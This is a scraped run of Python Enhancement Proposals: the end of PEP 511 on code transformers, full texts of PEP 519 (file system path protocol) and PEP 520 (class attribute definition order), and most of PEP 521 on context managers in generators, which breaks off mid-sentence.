differences. It is quite easy to write an AST transformer which works on Python 2.7 and Python 3.5 for example. Discussion [Python-ideas] PEP 511: API for code transformers (January 2016) [Python-Dev] AST optimizer implemented in Python (August 2012) Prior Art AST optimizers The Issue #17515 “Add sys.setasthook() to allow to use a custom AST” optimizer was a first attempt of API for code transformers, but specific to AST. In 2015, Victor Stinner wrote the fatoptimizer project, an AST optimizer specializing functions using guards. In 2014, Kevin Conway created the PyCC optimizer. In 2012, Victor Stinner wrote the astoptimizer project, an AST optimizer implementing various optimizations. Most interesting optimizations break the Python semantics since no guard is used to disable optimization if something changes. In 2011, Eugene Toder proposed to rewrite some peephole optimizations in a new AST optimizer: issue #11549, Build-out an AST optimizer, moving some functionality out of the peephole optimizer. The patch adds ast.Lit (it was proposed to rename it to ast.Literal). Python Preprocessors MacroPy: MacroPy is an implementation of Syntactic Macros in the Python Programming Language. MacroPy provides a mechanism for user-defined functions (macros) to perform transformations on the abstract syntax tree (AST) of a Python program at import time. pypreprocessor: C-style preprocessor directives in Python, like #define and #ifdef Bytecode transformers codetransformer: Bytecode transformers for CPython inspired by the ast module’s NodeTransformer. byteplay: Byteplay lets you convert Python code objects into equivalent objects which are easy to play with, and lets you convert those objects back into living Python code objects. It’s useful for applying crazy transformations on Python functions, and is also useful in learning Python byte code intricacies. See byteplay documentation. See also: BytecodeAssembler Copyright This document has been placed in the public domain.

Rejected

PEP 511 – API for code transformers

Standards Track

Propose an API to register bytecode and AST transformers. Add also -o OPTIM_TAG command line option to change .pyc filenames, -o noopt disables the peephole optimizer. Raise an ImportError exception on import if the .pyc file is missing and the code transformers required to transform the code are missing. code transformers are not needed code transformed ahead of time (loaded from .pyc files).

PEP 519 – Adding a file system path protocol Author: Brett Cannon <brett at python.org>, Koos Zevenhoven <k7hoven at gmail.com> Status: Final Type: Standards Track Created: 11-May-2016 Python-Version: 3.6 Post-History: 11-May-2016, 12-May-2016, 13-May-2016 Resolution: Python-Dev message Table of Contents Abstract Rationale Proposal Protocol Standard library changes builtins os os.path pathlib C API Backwards compatibility Implementation Rejected Ideas Other names for the protocol’s method Separate str/bytes methods Providing a path attribute Have __fspath__() only return strings A generic string encoding mechanism Have __fspath__ be an attribute Provide specific type hinting support Provide os.fspathb() Call __fspath__() off of the instance Acknowledgements References Copyright Abstract This PEP proposes a protocol for classes which represent a file system path to be able to provide a str or bytes representation. Changes to Python’s standard library are also proposed to utilize this protocol where appropriate to facilitate the use of path objects where historically only str and/or bytes file system paths are accepted. The goal is to facilitate the migration of users towards rich path objects while providing an easy way to work with code expecting str or bytes. Rationale Historically in Python, file system paths have been represented as strings or bytes. This choice of representation has stemmed from C’s own decision to represent file system paths as const char * [3]. While that is a totally serviceable format to use for file system paths, it’s not necessarily optimal. At issue is the fact that while all file system paths can be represented as strings or bytes, not all strings or bytes represent a file system path. This can lead to issues where any e.g. string duck-types to a file system path whether it actually represents a path or not. To help elevate the representation of file system paths from their representation as strings and bytes to a richer object representation, the pathlib module [4] was provisionally introduced in Python 3.4 through PEP 428. While considered by some as an improvement over strings and bytes for file system paths, it has suffered from a lack of adoption. Typically the key issue listed for the low adoption rate has been the lack of support in the standard library. This lack of support required users of pathlib to manually convert path objects to strings by calling str(path) which many found error-prone. One issue in converting path objects to strings comes from the fact that the only generic way to get a string representation of the path was to pass the object to str(). This can pose a problem when done blindly as nearly all Python objects have some string representation whether they are a path or not, e.g. str(None) will give a result that builtins.open() [5] will happily use to create a new file. Exacerbating this whole situation is the DirEntry object [8]. While path objects have a representation that can be extracted using str(), DirEntry objects expose a path attribute instead. Having no common interface between path objects, DirEntry, and any other third-party path library has become an issue. A solution that allows any path-representing object to declare that it is a path and a way to extract a low-level representation that all path objects could support is desired. This PEP then proposes to introduce a new protocol to be followed by objects which represent file system paths. Providing a protocol allows for explicit signaling of what objects represent file system paths as well as a way to extract a lower-level representation that can be used with older APIs which only support strings or bytes. Discussions regarding path objects that led to this PEP can be found in multiple threads on the python-ideas mailing list archive [1] for the months of March and April 2016 and on the python-dev mailing list archives [2] during April 2016. Proposal This proposal is split into two parts. One part is the proposal of a protocol for objects to declare and provide support for exposing a file system path representation. The other part deals with changes to Python’s standard library to support the new protocol. These changes will also lead to the pathlib module dropping its provisional status. Protocol The following abstract base class defines the protocol for an object to be considered a path object: import abc import typing as t class PathLike(abc.ABC): """Abstract base class for implementing the file system path protocol.""" @abc.abstractmethod def __fspath__(self) -> t.Union[str, bytes]: """Return the file system path representation of the object.""" raise NotImplementedError Objects representing file system paths will implement the __fspath__() method which will return the str or bytes representation of the path. The str representation is the preferred low-level path representation as it is human-readable and what people historically represent paths as. Standard library changes It is expected that most APIs in Python’s standard library that currently accept a file system path will be updated appropriately to accept path objects (whether that requires code or simply an update to documentation will vary). The modules mentioned below, though, deserve specific details as they have either fundamental changes that empower the ability to use path objects, or entail additions/removal of APIs. builtins open() [5] will be updated to accept path objects as well as continue to accept str and bytes. os The fspath() function will be added with the following semantics: import typing as t def fspath(path: t.Union[PathLike, str, bytes]) -> t.Union[str, bytes]: """Return the string representation of the path. If str or bytes is passed in, it is returned unchanged. If __fspath__() returns something other than str or bytes then TypeError is raised. If this function is given something that is not str, bytes, or os.PathLike then TypeError is raised. """ if isinstance(path, (str, bytes)): return path # Work from the object's type to match method resolution of other magic # methods. path_type = type(path) try: path = path_type.__fspath__(path) except AttributeError: if hasattr(path_type, '__fspath__'): raise else: if isinstance(path, (str, bytes)): return path else: raise TypeError("expected __fspath__() to return str or bytes, " "not " + type(path).__name__) raise TypeError("expected str, bytes or os.PathLike object, not " + path_type.__name__) The os.fsencode() [6] and os.fsdecode() [7] functions will be updated to accept path objects. As both functions coerce their arguments to bytes and str, respectively, they will be updated to call __fspath__() if present to convert the path object to a str or bytes representation, and then perform their appropriate coercion operations as if the return value from __fspath__() had been the original argument to the coercion function in question. The addition of os.fspath(), the updates to os.fsencode()/os.fsdecode(), and the current semantics of pathlib.PurePath provide the semantics necessary to get the path representation one prefers. For a path object, pathlib.PurePath/Path can be used. To obtain the str or bytes representation without any coercion, then os.fspath() can be used. If a str is desired and the encoding of bytes should be assumed to be the default file system encoding, then os.fsdecode() should be used. If a bytes representation is desired and any strings should be encoded using the default file system encoding, then os.fsencode() is used. This PEP recommends using path objects when possible and falling back to string paths as necessary and using bytes as a last resort. Another way to view this is as a hierarchy of file system path representations (highest- to lowest-level): path → str → bytes. The functions and classes under discussion can all accept objects on the same level of the hierarchy, but they vary in whether they promote or demote objects to another level. The pathlib.PurePath class can promote a str to a path object. The os.fspath() function can demote a path object to a str or bytes instance, depending on what __fspath__() returns. The os.fsdecode() function will demote a path object to a string or promote a bytes object to a str. The os.fsencode() function will demote a path or string object to bytes. There is no function that provides a way to demote a path object directly to bytes while bypassing string demotion. The DirEntry object [8] will gain an __fspath__() method. It will return the same value as currently found on the path attribute of DirEntry instances. The Protocol ABC will be added to the os module under the name os.PathLike. os.path The various path-manipulation functions of os.path [9] will be updated to accept path objects. For polymorphic functions that accept both bytes and strings, they will be updated to simply use os.fspath(). During the discussions leading up to this PEP it was suggested that os.path not be updated using an “explicit is better than implicit” argument. The thinking was that since __fspath__() is polymorphic itself it may be better to have code working with os.path extract the path representation from path objects explicitly. There is also the consideration that adding support this deep into the low-level OS APIs will lead to code magically supporting path objects without requiring any documentation updated, leading to potential complaints when it doesn’t work, unbeknownst to the project author. But it is the view of this PEP that “practicality beats purity” in this instance. To help facilitate the transition to supporting path objects, it is better to make the transition as easy as possible than to worry about unexpected/undocumented duck typing support for path objects by projects. There has also been the suggestion that os.path functions could be used in a tight loop and the overhead of checking or calling __fspath__() would be too costly. In this scenario only path-consuming APIs would be directly updated and path-manipulating APIs like the ones in os.path would go unmodified. This would require library authors to update their code to support path objects if they performed any path manipulations, but if the library code passed the path straight through then the library wouldn’t need to be updated. It is the view of this PEP and Guido, though, that this is an unnecessary worry and that performance will still be acceptable. pathlib The constructor for pathlib.PurePath and pathlib.Path will be updated to accept PathLike objects. Both PurePath and Path will continue to not accept bytes path representations, and so if __fspath__() returns bytes it will raise an exception. The path attribute will be removed as this PEP makes it redundant (it has not been included in any released version of Python and so is not a backwards-compatibility concern). C API The C API will gain an equivalent function to os.fspath(): /* Return the file system path representation of the object. If the object is str or bytes, then allow it to pass through with an incremented refcount. If the object defines __fspath__(), then return the result of that method. All other types raise a TypeError. */ PyObject * PyOS_FSPath(PyObject *path) { _Py_IDENTIFIER(__fspath__); PyObject *func = NULL; PyObject *path_repr = NULL; if (PyUnicode_Check(path) || PyBytes_Check(path)) { Py_INCREF(path); return path; } func = _PyObject_LookupSpecial(path, &PyId___fspath__); if (NULL == func) { return PyErr_Format(PyExc_TypeError, "expected str, bytes or os.PathLike object, " "not %S", path->ob_type); } path_repr = PyObject_CallFunctionObjArgs(func, NULL); Py_DECREF(func); if (!PyUnicode_Check(path_repr) && !PyBytes_Check(path_repr)) { Py_DECREF(path_repr); return PyErr_Format(PyExc_TypeError, "expected __fspath__() to return str or bytes, " "not %S", path_repr->ob_type); } return path_repr; } Backwards compatibility There are no explicit backwards-compatibility concerns. Unless an object incidentally already defines a __fspath__() method there is no reason to expect the pre-existing code to break or expect to have its semantics implicitly changed. Libraries wishing to support path objects and a version of Python prior to Python 3.6 and the existence of os.fspath() can use the idiom of path.__fspath__() if hasattr(path, "__fspath__") else path. Implementation This is the task list for what this PEP proposes to be changed in Python 3.6: Remove the path attribute from pathlib (done) Remove the provisional status of pathlib (done) Add os.PathLike (code and docs done) Add PyOS_FSPath() (code and docs done) Add os.fspath() (done <done) Update os.fsencode() (done) Update os.fsdecode() (done) Update pathlib.PurePath and pathlib.Path (done) Add __fspath__() Add os.PathLike support to the constructors Add __fspath__() to DirEntry (done) Update builtins.open() (done) Update os.path (done) Add a glossary entry for “path-like” (done) Update “What’s New” (done) Rejected Ideas Other names for the protocol’s method Various names were proposed during discussions leading to this PEP, including __path__, __pathname__, and __fspathname__. In the end people seemed to gravitate towards __fspath__ for being unambiguous without being unnecessarily long. Separate str/bytes methods At one point it was suggested that __fspath__() only return strings and another method named __fspathb__() be introduced to return bytes. The thinking is that by making __fspath__() not be polymorphic it could make dealing with the potential string or bytes representations easier. But the general consensus was that returning bytes will more than likely be rare and that the various functions in the os module are the better abstraction to promote over direct calls to __fspath__(). Providing a path attribute To help deal with the issue of pathlib.PurePath not inheriting from str, originally it was proposed to introduce a path attribute to mirror what os.DirEntry provides. In the end, though, it was determined that a protocol would provide the same result while not directly exposing an API that most people will never need to interact with directly. Have __fspath__() only return strings Much of the discussion that led to this PEP revolved around whether __fspath__() should be polymorphic and return bytes as well as str or only return str. The general sentiment for this view was that bytes are difficult to work with due to their inherent lack of information about their encoding and PEP 383 makes it possible to represent all file system paths using str with the surrogateescape handler. Thus, it would be better to forcibly promote the use of str as the low-level path representation for high-level path objects. In the end, it was decided that using bytes to represent paths is simply not going to go away and thus they should be supported to some degree. The hope is that people will gravitate towards path objects like pathlib and that will move people away from operating directly with bytes. A generic string encoding mechanism At one point there was a discussion of developing a generic mechanism to extract a string representation of an object that had semantic meaning (__str__() does not necessarily return anything of semantic significance beyond what may be helpful for debugging). In the end, it was deemed to lack a motivating need beyond the one this PEP is trying to solve in a specific fashion. Have __fspath__ be an attribute It was briefly considered to have __fspath__ be an attribute instead of a method. This was rejected for two reasons. One, historically protocols have been implemented as “magic methods” and not “magic methods and attributes”. Two, there is no guarantee that the lower-level representation of a path object will be pre-computed, potentially misleading users that there was no expensive computation behind the scenes in case the attribute was implemented as a property. This also indirectly ties into the idea of introducing a path attribute to accomplish the same thing. This idea has an added issue, though, of accidentally having any object with a path attribute meet the protocol’s duck typing. Introducing a new magic method for the protocol helpfully avoids any accidental opting into the protocol. Provide specific type hinting support There was some consideration to providing a generic typing.PathLike class which would allow for e.g. typing.PathLike[str] to specify a type hint for a path object which returned a string representation. While potentially beneficial, the usefulness was deemed too small to bother adding the type hint class. This also removed any desire to have a class in the typing module which represented the union of all acceptable path-representing types as that can be represented with typing.Union[str, bytes, os.PathLike] easily enough and the hope is users will slowly gravitate to path objects only. Provide os.fspathb() It was suggested that to mirror the structure of e.g. os.getcwd()/os.getcwdb(), that os.fspath() only return str and that another function named os.fspathb() be introduced that only returned bytes. This was rejected as the purposes of the *b() functions are tied to querying the file system where there is a need to get the raw bytes back. As this PEP does not work directly with data on a file system (but which may be), the view was taken this distinction is unnecessary. It’s also believed that the need for only bytes will not be common enough to need to support in such a specific manner as os.fsencode() will provide similar functionality. Call __fspath__() off of the instance An earlier draft of this PEP had os.fspath() calling path.__fspath__() instead of type(path).__fspath__(path). The changed to be consistent with how other magic methods in Python are resolved. Acknowledgements Thanks to everyone who participated in the various discussions related to this PEP that spanned both python-ideas and python-dev. Special thanks to Stephen Turnbull for direct feedback on early drafts of this PEP. More special thanks to Koos Zevenhoven and Ethan Furman for not only feedback on early drafts of this PEP but also helping to drive the overall discussion on this topic across the two mailing lists. References [1] The python-ideas mailing list archive (https://mail.python.org/pipermail/python-ideas/) [2] The python-dev mailing list archive (https://mail.python.org/pipermail/python-dev/) [3] open() documentation for the C standard library (http://www.gnu.org/software/libc/manual/html_node/Opening-and-Closing-Files.html) [4] The pathlib module (https://docs.python.org/3/library/pathlib.html#module-pathlib) [5] (1, 2) The builtins.open() function (https://docs.python.org/3/library/functions.html#open) [6] The os.fsencode() function (https://docs.python.org/3/library/os.html#os.fsencode) [7] The os.fsdecode() function (https://docs.python.org/3/library/os.html#os.fsdecode) [8] (1, 2) The os.DirEntry class (https://docs.python.org/3/library/os.html#os.DirEntry) [9] The os.path module (https://docs.python.org/3/library/os.path.html#module-os.path) Copyright This document has been placed in the public domain.

Final

PEP 519 – Adding a file system path protocol

Standards Track

This PEP proposes a protocol for classes which represent a file system path to be able to provide a str or bytes representation. Changes to Python’s standard library are also proposed to utilize this protocol where appropriate to facilitate the use of path objects where historically only str and/or bytes file system paths are accepted. The goal is to facilitate the migration of users towards rich path objects while providing an easy way to work with code expecting str or bytes.

PEP 520 – Preserving Class Attribute Definition Order Author: Eric Snow <ericsnowcurrently at gmail.com> Status: Final Type: Standards Track Created: 07-Jun-2016 Python-Version: 3.6 Post-History: 07-Jun-2016, 11-Jun-2016, 20-Jun-2016, 24-Jun-2016 Resolution: Python-Dev message Table of Contents Abstract Motivation Background Specification Why a tuple? Why not a read-only attribute? Why not “__attribute_order__”? Why not ignore “dunder” names? Why None instead of an empty tuple? Why None instead of not setting the attribute? Why constrain manually set values? Why not hide __definition_order__ on non-type objects? What about __slots__? Why is __definition_order__ even necessary? Support for C-API Types Compatibility Changes Other Python Implementations Implementation Alternatives An Order-preserving cls.__dict__ A “namespace” Keyword Arg for Class Definition A stdlib Metaclass that Implements __prepare__() with OrderedDict Set __definition_order__ at Compile-time References Copyright Note Since compact dict has landed in 3.6, __definition_order__ has been removed. cls.__dict__ now mostly accomplishes the same thing instead. Abstract The class definition syntax is ordered by its very nature. Class attributes defined there are thus ordered. Aside from helping with readability, that ordering is sometimes significant. If it were automatically available outside the class definition then the attribute order could be used without the need for extra boilerplate (such as metaclasses or manually enumerating the attribute order). Given that this information already exists, access to the definition order of attributes is a reasonable expectation. However, currently Python does not preserve the attribute order from the class definition. This PEP changes that by preserving the order in which attributes are introduced in the class definition body. That order will now be preserved in the __definition_order__ attribute of the class. This allows introspection of the original definition order, e.g. by class decorators. Additionally, this PEP requires that the default class definition namespace be ordered (e.g. OrderedDict) by default. The long-lived class namespace (__dict__) will remain a dict. Motivation The attribute order from a class definition may be useful to tools that rely on name order. However, without the automatic availability of the definition order, those tools must impose extra requirements on users. For example, use of such a tool may require that your class use a particular metaclass. Such requirements are often enough to discourage use of the tool. Some tools that could make use of this PEP include: documentation generators testing frameworks CLI frameworks web frameworks config generators data serializers enum factories (my original motivation) Background When a class is defined using a class statement, the class body is executed within a namespace. Currently that namespace defaults to dict. If the metaclass defines __prepare__() then the result of calling it is used for the class definition namespace. After the execution completes, the definition namespace is copied into a new dict. Then the original definition namespace is discarded. The new copy is stored away as the class’s namespace and is exposed as __dict__ through a read-only proxy. The class attribute definition order is represented by the insertion order of names in the definition namespace. Thus, we can have access to the definition order by switching the definition namespace to an ordered mapping, such as collections.OrderedDict. This is feasible using a metaclass and __prepare__, as described above. In fact, exactly this is by far the most common use case for using __prepare__. At that point, the only missing thing for later access to the definition order is storing it on the class before the definition namespace is thrown away. Again, this may be done using a metaclass. However, this means that the definition order is preserved only for classes that use such a metaclass. There are two practical problems with that: First, it requires the use of a metaclass. Metaclasses introduce an extra level of complexity to code and in some cases (e.g. conflicts) are a problem. So reducing the need for them is worth doing when the opportunity presents itself. PEP 422 and PEP 487 discuss this at length. We have such an opportunity by using an ordered mapping (e.g. OrderedDict for CPython at least) for the default class definition namespace, virtually eliminating the need for __prepare__(). Second, only classes that opt in to using the OrderedDict-based metaclass will have access to the definition order. This is problematic for cases where universal access to the definition order is important. Specification Part 1: all classes have a __definition_order__ attribute __definition_order__ is a tuple of identifiers (or None) __definition_order__ is always set: during execution of the class body, the insertion order of names into the class definition namespace is stored in a tuple if __definition_order__ is defined in the class body then it must be a tuple of identifiers or None; any other value will result in TypeError classes that do not have a class definition (e.g. builtins) have their __definition_order__ set to None classes for which __prepare__() returned something other than OrderedDict (or a subclass) have their __definition_order__ set to None (except where #2 applies) Not changing: dir() will not depend on __definition_order__ descriptors and custom __getattribute__ methods are unconstrained regarding __definition_order__ Part 2: the default class definition namespace is now an ordered mapping (e.g. OrderdDict) cls.__dict__ does not change, remaining a read-only proxy around dict Note that Python implementations which have an ordered dict won’t need to change anything. The following code demonstrates roughly equivalent semantics for both parts 1 and 2: class Meta(type): @classmethod def __prepare__(cls, *args, **kwargs): return OrderedDict() class Spam(metaclass=Meta): ham = None eggs = 5 __definition_order__ = tuple(locals()) Why a tuple? Use of a tuple reflects the fact that we are exposing the order in which attributes on the class were defined. Since the definition is already complete by the time __definition_order__ is set, the content and order of the value won’t be changing. Thus we use a type that communicates that state of immutability. Why not a read-only attribute? There are some valid arguments for making __definition_order__ a read-only attribute (like cls.__dict__ is). Most notably, a read-only attribute conveys the nature of the attribute as “complete”, which is exactly correct for __definition_order__. Since it represents the state of a particular one-time event (execution of the class definition body), allowing the value to be replaced would reduce confidence that the attribute corresponds to the original class body. Furthermore, often an immutable-by-default approach helps to make data easier to reason about. However, in this case there still isn’t a strong reason to counter the well-worn precedent found in Python. Per Guido: I don't see why it needs to be a read-only attribute. There are very few of those -- in general we let users play around with things unless we have a hard reason to restrict assignment (e.g. the interpreter's internal state could be compromised). I don't see such a hard reason here. Also, note that a writeable __definition_order__ allows dynamically created classes (e.g. by Cython) to still have __definition_order__ properly set. That could certainly be handled through specific class-creation tools, such as type() or the C-API, without the need to lose the semantics of a read-only attribute. However, with a writeable attribute it’s a moot point. Why not “__attribute_order__”? __definition_order__ is centered on the class definition body. The use cases for dealing with the class namespace (__dict__) post-definition are a separate matter. __definition_order__ would be a significantly misleading name for a feature focused on more than class definition. Why not ignore “dunder” names? Names starting and ending with “__” are reserved for use by the interpreter. In practice they should not be relevant to the users of __definition_order__. Instead, for nearly everyone they would only be clutter, causing the same extra work (filtering out the dunder names) for the majority. In cases where a dunder name is significant, the class definition could manually set __definition_order__, making the common case simpler. However, leaving dunder names out of __definition_order__ means that their place in the definition order would be unrecoverably lost. Dropping dunder names by default may inadvertently cause problems for classes that use dunder names unconventionally. In this case it’s better to play it safe and preserve all the names from the class definition. This isn’t a big problem since it is easy to filter out dunder names: (name for name in cls.__definition_order__ if not (name.startswith('__') and name.endswith('__'))) In fact, in some application contexts there may be other criteria on which similar filtering would be applied, such as ignoring any name starting with “_”, leaving out all methods, or including only descriptors. Ultimately dunder names aren’t a special enough case to be treated exceptionally. Note that a couple of dunder names (__name__ and __qualname__) are injected by default by the compiler. So they will be included even though they are not strictly part of the class definition body. Why None instead of an empty tuple? A key objective of adding __definition_order__ is to preserve information in class definitions which was lost prior to this PEP. One consequence is that __definition_order__ implies an original class definition. Using None allows us to clearly distinguish classes that do not have a definition order. An empty tuple clearly indicates a class that came from a definition statement but did not define any attributes there. Why None instead of not setting the attribute? The absence of an attribute requires more complex handling than None does for consumers of __definition_order__. Why constrain manually set values? If __definition_order__ is manually set in the class body then it will be used. We require it to be a tuple of identifiers (or None) so that consumers of __definition_order__ may have a consistent expectation for the value. That helps maximize the feature’s usefulness. We could also allow an arbitrary iterable for a manually set __definition_order__ and convert it into a tuple. However, not all iterables infer a definition order (e.g. set). So we opt in favor of requiring a tuple. Why not hide __definition_order__ on non-type objects? Python doesn’t make much effort to hide class-specific attributes during lookup on instances of classes. While it may make sense to consider __definition_order__ a class-only attribute, hidden during lookup on objects, setting precedent in that regard is beyond the goals of this PEP. What about __slots__? __slots__ will be added to __definition_order__ like any other name in the class definition body. The actual slot names will not be added to __definition_order__ since they aren’t set as names in the definition namespace. Why is __definition_order__ even necessary? Since the definition order is not preserved in __dict__, it is lost once class definition execution completes. Classes could explicitly set the attribute as the last thing in the body. However, then independent decorators could only make use of classes that had done so. Instead, __definition_order__ preserves this one bit of info from the class body so that it is universally available. Support for C-API Types Arguably, most C-defined Python types (e.g. built-in, extension modules) have a roughly equivalent concept of a definition order. So conceivably __definition_order__ could be set for such types automatically. This PEP does not introduce any such support. However, it does not prohibit it either. However, since __definition_order__ can be set at any time through normal attribute assignment, it does not need any special treatment in the C-API. The specific cases: builtin types PyType_Ready PyType_FromSpec Compatibility This PEP does not break backward compatibility, except in the case that someone relies strictly on dict as the class definition namespace. This shouldn’t be a problem since issubclass(OrderedDict, dict) is true. Changes In addition to the class syntax, the following expose the new behavior: builtins.__build_class__ types.prepare_class types.new_class Also, the 3-argument form of builtins.type() will allow inclusion of __definition_order__ in the namespace that gets passed in. It will be subject to the same constraints as when __definition_order__ is explicitly defined in the class body. Other Python Implementations Pending feedback, the impact on Python implementations is expected to be minimal. All conforming implementations are expected to set __definition_order__ as described in this PEP. Implementation The implementation is found in the tracker. Alternatives An Order-preserving cls.__dict__ Instead of storing the definition order in __definition_order__, the now-ordered definition namespace could be copied into a new OrderedDict. This would then be used as the mapping proxied as __dict__. Doing so would mostly provide the same semantics. However, using OrderedDict for __dict__ would obscure the relationship with the definition namespace, making it less useful. Additionally, (in the case of OrderedDict specifically) doing this would require significant changes to the semantics of the concrete dict C-API. There has been some discussion about moving to a compact dict implementation which would (mostly) preserve insertion order. However the lack of an explicit __definition_order__ would still remain as a pain point. A “namespace” Keyword Arg for Class Definition PEP 422 introduced a new “namespace” keyword arg to class definitions that effectively replaces the need to __prepare__(). However, the proposal was withdrawn in favor of the simpler PEP 487. A stdlib Metaclass that Implements __prepare__() with OrderedDict This has all the same problems as writing your own metaclass. The only advantage is that you don’t have to actually write this metaclass. So it doesn’t offer any benefit in the context of this PEP. Set __definition_order__ at Compile-time Each class’s __qualname__ is determined at compile-time. This same concept could be applied to __definition_order__. The result of composing __definition_order__ at compile-time would be nearly the same as doing so at run-time. Comparative implementation difficulty aside, the key difference would be that at compile-time it would not be practical to preserve definition order for attributes that are set dynamically in the class body (e.g. locals()[name] = value). However, they should still be reflected in the definition order. One possible resolution would be to require class authors to manually set __definition_order__ if they define any class attributes dynamically. Ultimately, the use of OrderedDict at run-time or compile-time discovery is almost entirely an implementation detail. References Original discussion Follow-up 1 Follow-up 2 Alyssa (Nick) Coghlan’s concerns about mutability Copyright This document has been placed in the public domain.

Final

PEP 520 – Preserving Class Attribute Definition Order

Standards Track

The class definition syntax is ordered by its very nature. Class attributes defined there are thus ordered. Aside from helping with readability, that ordering is sometimes significant. If it were automatically available outside the class definition then the attribute order could be used without the need for extra boilerplate (such as metaclasses or manually enumerating the attribute order). Given that this information already exists, access to the definition order of attributes is a reasonable expectation. However, currently Python does not preserve the attribute order from the class definition.

PEP 521 – Managing global context via ‘with’ blocks in generators and coroutines Author: Nathaniel J. Smith <njs at pobox.com> Status: Withdrawn Type: Standards Track Created: 27-Apr-2015 Python-Version: 3.6 Post-History: 29-Apr-2015 Table of Contents PEP Withdrawal Abstract Specification Nested blocks Other changes Rationale Alternative approaches Backwards compatibility Interaction with PEP 492 References Copyright PEP Withdrawal Withdrawn in favor of PEP 567. Abstract While we generally try to avoid global state when possible, there nonetheless exist a number of situations where it is agreed to be the best approach. In Python, a standard pattern for handling such cases is to store the global state in global or thread-local storage, and then use with blocks to limit modifications of this global state to a single dynamic scope. Examples where this pattern is used include the standard library’s warnings.catch_warnings and decimal.localcontext, NumPy’s numpy.errstate (which exposes the error-handling settings provided by the IEEE 754 floating point standard), and the handling of logging context or HTTP request context in many server application frameworks. However, there is currently no ergonomic way to manage such local changes to global state when writing a generator or coroutine. For example, this code: def f(): with warnings.catch_warnings(): for x in g(): yield x may or may not successfully catch warnings raised by g(), and may or may not inadvertently swallow warnings triggered elsewhere in the code. The context manager, which was intended to apply only to f and its callees, ends up having a dynamic scope that encompasses arbitrary and unpredictable parts of its callers. This problem becomes particularly acute when writing asynchronous code, where essentially all functions become coroutines. Here, we propose to solve this problem by notifying context managers whenever execution is suspended or resumed within their scope, allowing them to restrict their effects appropriately. Specification Two new, optional, methods are added to the context manager protocol: __suspend__ and __resume__. If present, these methods will be called whenever a frame’s execution is suspended or resumed from within the context of the with block. More formally, consider the following code: with EXPR as VAR: PARTIAL-BLOCK-1 f((yield foo)) PARTIAL-BLOCK-2 Currently this is equivalent to the following code (copied from PEP 343): mgr = (EXPR) exit = type(mgr).__exit__ # Not calling it yet value = type(mgr).__enter__(mgr) exc = True try: try: VAR = value # Only if "as VAR" is present PARTIAL-BLOCK-1 f((yield foo)) PARTIAL-BLOCK-2 except: exc = False if not exit(mgr, *sys.exc_info()): raise finally: if exc: exit(mgr, None, None, None) This PEP proposes to modify with block handling to instead become: mgr = (EXPR) exit = type(mgr).__exit__ # Not calling it yet ### --- NEW STUFF --- if the_block_contains_yield_points: # known statically at compile time suspend = getattr(type(mgr), "__suspend__", lambda: None) resume = getattr(type(mgr), "__resume__", lambda: None) ### --- END OF NEW STUFF --- value = type(mgr).__enter__(mgr) exc = True try: try: VAR = value # Only if "as VAR" is present PARTIAL-BLOCK-1 ### --- NEW STUFF --- suspend(mgr) tmp = yield foo resume(mgr) f(tmp) ### --- END OF NEW STUFF --- PARTIAL-BLOCK-2 except: exc = False if not exit(mgr, *sys.exc_info()): raise finally: if exc: exit(mgr, None, None, None) Analogous suspend/resume calls are also wrapped around the yield points embedded inside the yield from, await, async with, and async for constructs. Nested blocks Given this code: def f(): with OUTER: with INNER: yield VALUE then we perform the following operations in the following sequence: INNER.__suspend__() OUTER.__suspend__() yield VALUE OUTER.__resume__() INNER.__resume__() Note that this ensures that the following is a valid refactoring: def f(): with OUTER: yield from g() def g(): with INNER yield VALUE Similarly, with statements with multiple context managers suspend from right to left, and resume from left to right. Other changes Appropriate __suspend__ and __resume__ methods are added to warnings.catch_warnings and decimal.localcontext. Rationale In the abstract, we gave an example of plausible but incorrect code: def f(): with warnings.catch_warnings(): for x in g(): yield x To make this correct in current Python, we need to instead write something like: def f(): with warnings.catch_warnings(): it = iter(g()) while True: with warnings.catch_warnings(): try: x = next(it) except StopIteration: break yield x OTOH, if this PEP is accepted then the original code will become correct as-is. Or if this isn’t convincing, then here’s another example of broken code; fixing it requires even greater gyrations, and these are left as an exercise for the reader: async def test_foo_emits_warning(): with warnings.catch_warnings(record=True) as w: await foo() assert len(w) == 1 assert "xyzzy" in w[0].message And notice that this last example isn’t artificial at all – this is exactly how you write a test that an async/await-using coroutine correctly raises a warning. Similar issues arise for pretty much any use of warnings.catch_warnings, decimal.localcontext, or numpy.errstate in async/await-using code. So there’s clearly a real problem to solve here, and the growing prominence of async code makes it increasingly urgent. Alternative approaches The main alternative that has been proposed is to create some kind of “task-local storage”, analogous to “thread-local storage” [1]. In essence, the idea would be that the event loop would take care to allocate a new “task namespace” for each task it schedules, and provide an API to at any given time fetch the namespace corresponding to the currently executing task. While there are many details to be worked out [2], the basic idea seems doable, and it is an especially natural way to handle the kind of global context that arises at the top-level of async application frameworks (e.g., setting up context objects in a web framework). But it also has a number of flaws: It only solves the problem of managing global state for coroutines that yield back to an asynchronous event loop. But there actually isn’t anything about this problem that’s specific to asyncio – as shown in the examples above, simple generators run into exactly the same issue. It creates an unnecessary coupling between event loops and code that needs to manage global state. Obviously an async web framework needs to interact with some event loop API anyway, so it’s not a big deal in that case. But it’s weird that warnings or decimal or NumPy should have to call into an async library’s API to access their internal state when they themselves involve no async code. Worse, since there are multiple event loop APIs in common use, it isn’t clear how to choose which to integrate with. (This could be somewhat mitigated by CPython providing a standard API for creating and switching “task-local domains” that asyncio, Twisted, tornado, etc. could then work with.) It’s not at all clear that this can be made acceptably fast. NumPy has to check the floating point error settings on every single arithmetic operation. Checking a piece of data in thread-local storage is absurdly quick, because modern platforms have put massive resources into optimizing this case (e.g. dedicating a CPU register for this purpose); calling a method on an event loop to fetch a handle to a namespace and then doing lookup in that namespace is much slower.More importantly, this extra cost would be paid on every access to the global data, even for programs which are not otherwise using an event loop at all. This PEP’s proposal, by contrast, only affects code that actually mixes with blocks and yield statements, meaning that the users who experience the costs are the same users who also reap the benefits. On the other hand, such tight integration between task context and the event loop does potentially allow other features that are beyond the scope of the current proposal. For example, an event loop could note which task namespace was in effect when a task called call_soon, and arrange that the callback when run would have access to the same task namespace. Whether this is useful, or even well-defined in the case of cross-thread calls (what does it mean to have task-local storage accessed from two threads simultaneously?), is left as a puzzle for event loop implementors to ponder – nothing in this proposal rules out such enhancements as well. It does seem though that such features would be useful primarily for state that already has a tight integration with the event loop – while we might want a request id to be preserved across call_soon, most people would not expect: with warnings.catch_warnings(): loop.call_soon(f) to result in f being run with warnings disabled, which would be the result if call_soon preserved global context in general. It’s also unclear how this would even work given that the 